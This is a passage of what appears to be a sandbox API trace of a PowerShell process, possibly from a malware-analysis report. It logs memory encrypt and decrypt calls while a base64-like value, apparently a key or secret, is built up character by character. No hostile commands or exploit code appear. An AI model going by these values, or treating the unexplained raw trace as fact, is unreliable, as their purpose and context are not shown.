OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.115] SysStringLen (param_1="IUngkYkE5HhyPG9fLۥᛣ⸔뼺䠜׋䚅") returned 0x18 [0235.115] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.115] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设ꮮ쮧\埙㥪홠㡋≼) returned 0x18 [0235.115] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设ꮮ쮧\埙㥪홠㡋≼) returned 0x18 [0235.115] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.115] SysStringLen (param_1="IUngkYkE5HhyPG9fLUᛣ⸔뼺䠜׋䚅") returned 0x18 [0235.115] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.115] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设뜸⛂䆽䉓찰Ѡ럭") returned 0x18 [0235.115] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设뜸⛂䆽䉓찰Ѡ럭") returned 0x18 [0235.115] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.115] SysStringLen (param_1="IUngkYkE5HhyPG9fLUW⸔뼺䠜׋䚅") returned 0x18 [0235.115] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.115] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设揁外땖坸쟣㋢\⋞) returned 0x18 [0235.115] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设揁外땖坸쟣㋢\⋞) returned 0x18 [0235.115] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.116] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWW뼺䠜׋䚅") returned 0x18 [0235.116] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.116] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设ꮣᒊ냮旗䩀\䷝⃭∾) returned 0x18 [0235.116] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设ꮣᒊ냮旗䩀\䷝⃭∾) returned 0x18 [0235.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.116] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQ䠜׋䚅") returned 0x18 [0235.116] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.116] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设Ἵ㏸줯瓰﬐냥җ鵎") returned 0x18 [0235.116] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设Ἵ㏸줯瓰﬐냥җ鵎") returned 0x18 [0235.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.116] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQj׋䚅") returned 0x18 [0235.116] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.116] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设꼿䭬강⨛鱬퍊趲ꎙ") returned 0x18 [0235.116] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设꼿䭬강⨛鱬퍊趲ꎙ") returned 0x18 [0235.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.117] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjW䚅") returned 0x18 [0235.117] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.117] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设఍핵䳇퉶꘰ܸཟ쩧") returned 0x18 [0235.117] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设఍핵䳇퉶꘰ܸཟ쩧") returned 0x18 [0235.117] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.117] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY") returned 0x18 [0235.117] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.117] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋") returned 0x18 [0235.117] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋") returned 0x18 [0235.117] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋") returned 0x18 [0235.118] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋") returned 0x20 [0235.118] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.118] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5๜삻忉魌앉塬鞰") returned 0x20 [0235.118] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.118] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋秸敽쫀륶籠⬜ኜ") returned 0x20 [0235.118] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋秸敽쫀륶籠⬜ኜ") returned 0x20 [0235.118] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.118] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5P삻忉魌앉塬鞰") returned 0x20 [0235.118] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.118] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋뾳᢯礥ꓴ噒䧍࢛") returned 0x20 [0235.118] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋뾳᢯礥ꓴ噒䧍࢛") returned 0x20 [0235.118] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.118] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pk忉魌앉塬鞰") returned 0x20 [0235.118] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.118] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋릕夨ᐴ౫꥕꣔") returned 0x20 [0235.119] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋릕夨ᐴ౫꥕꣔") returned 0x20 [0235.119] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.119] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pko魌앉塬鞰") returned 0x20 [0235.119] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.119] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋દ詶თﯳ\茢Ἁ≜) returned 0x20 [0235.119] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋દ詶თﯳ\茢Ἁ≜) returned 0x20 [0235.119] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.119] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy앉塬鞰") returned 0x20 [0235.119] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.119] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋ਞꂚ톢馄䞉ゐ읞") returned 0x20 [0235.119] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋ਞꂚ톢馄䞉ゐ읞") returned 0x20 [0235.119] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.119] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8塬鞰") returned 0x20 [0235.119] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.120] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋ۿﳟ笳ᶽ柝䝾헶") returned 0x20 [0235.120] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋ۿﳟ笳ᶽ柝䝾헶") returned 0x20 [0235.120] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.120] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8u鞰") returned 0x20 [0235.120] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.120] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋蕙잭藻鐪ᜌ⅊蟆") returned 0x20 [0235.120] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋蕙잭藻鐪ᜌ⅊蟆") returned 0x20 [0235.120] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.120] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uq") returned 0x20 [0235.120] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.120] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁") returned 0x20 [0235.120] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁") returned 0x20 [0235.120] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁") returned 0x20 [0235.121] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁૆") returned 0x28 [0235.121] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.121] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqE톩앉䓢⪑") returned 0x28 [0235.121] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.121] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁呑⢽㜡ﶍ使箾휕坎") returned 0x28 [0235.121] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁呑⢽㜡ﶍ使箾휕坎") returned 0x28 [0235.121] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.121] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEO앉䓢⪑") returned 0x28 [0235.121] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.121] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁睙퇴\ꇜ޼ᇓ⋞) returned 0x28 [0235.121] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁睙퇴\ꇜ޼ᇓ⋞) returned 0x28 [0235.121] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.122] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOK앉䓢⪑") returned 0x28 [0235.122] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.122] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁﯆끥䯢닱옖쳃ꔧ꘵") returned 0x28 [0235.122] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁﯆끥䯢닱옖쳃ꔧ꘵") returned 0x28 [0235.122] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.122] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKE䓢⪑") returned 0x28 [0235.122] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.122] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁ꎕɽ髳堨摇㻚\⋛) returned 0x28 [0235.122] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁ꎕɽ髳堨摇㻚\⋛) returned 0x28 [0235.122] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.122] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKEI䓢⪑") returned 0x28 [0235.122] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.122] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁板쬮鄀᜔ꐱ") returned 0x28 [0235.122] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁板쬮鄀᜔ꐱ") returned 0x28 [0235.122] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.123] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKEI8䓢⪑") returned 0x28 [0235.123] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.123] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁藁ꥺ泑냰㚫㪚殻") returned 0x28 [0235.123] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁藁ꥺ泑냰㚫㪚殻") returned 0x28 [0235.123] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.123] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKEI8b⪑") returned 0x28 [0235.123] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.123] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁眜ࡪ磹鐤쥍屒芔ോ") returned 0x28 [0235.123] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁眜ࡪ磹鐤쥍屒芔ോ") returned 0x28 [0235.123] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.123] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKEI8bd") returned 0x28 [0235.123] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.124] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚") returned 0x28 [0235.124] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚") returned 0x28 [0235.124] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚") returned 0x28 [0235.124] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚") returned 0x30 [0235.124] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0235.124] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKEI8bdJ᚛蕍뢍阍鉡") returned 0x30 [0235.124] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0235.124] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚ᣑᵷ柚潀합芪뗥") returned 0x30 [0235.124] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚ᣑᵷ柚潀합芪뗥") returned 0x30 [0235.124] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0235.124] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKEI8bdJm蕍뢍阍鉡") returned 0x30 [0235.124] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0235.125] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚鬊䤌㲈ᬻ풂핎⯿") returned 0x30 [0235.125] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚鬊䤌㲈ᬻ풂핎⯿") returned 0x30 [0235.125] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0235.125] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKEI8bdJmQ뢍阍鉡") returned 0x30 [0235.125] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0235.125] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚㕢謁⯩䦂డฃ퀧") returned 0x30 [0235.125] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚㕢謁⯩䦂డฃ퀧") returned 0x30 [0235.125] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0235.125] SysStringLen (param_1="IUngkYkE5HhyPG9fLUWWQjWY5Pkoy8uqEOKEI8bdJmQ=阍鉡") returned 0x30 [0235.125] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0235.125] EtwEventActivityIdControl () returned 0x0 [0235.125] EtwEventActivityIdControl () returned 0x0 [0235.125] EtwEventActivityIdControl () returned 0x0 [0235.126] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.126] EtwEventActivityIdControl () returned 0x0 [0235.126] EtwEventActivityIdControl () returned 0x0 [0235.126] EtwEventActivityIdControl () returned 0x0 [0235.127] SysStringLen (param_1="") returned 0x8 [0235.127] SysStringLen (param_1="N") returned 0x8 [0235.127] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.127] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.127] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.127] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.127] SysStringLen (param_1="ND") returned 0x8 [0235.127] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.127] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.127] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.127] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.127] SysStringLen (param_1="NDZ") returned 0x8 [0235.127] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.127] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.127] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.128] SysStringLen (param_1="NDZl") returned 0x8 [0235.128] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.128] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.128] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.128] SysStringLen (param_1="NDZlO") returned 0x8 [0235.128] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.128] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.128] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.128] SysStringLen (param_1="NDZlOD") returned 0x8 [0235.128] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.128] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.128] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.129] SysStringLen (param_1="NDZlODR") returned 0x8 [0235.129] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.129] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.129] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.129] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.129] SysStringLen (param_1="NDZlODRm") returned 0x8 [0235.129] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0235.130] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.130] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.130] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.130] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.130] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.130] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, 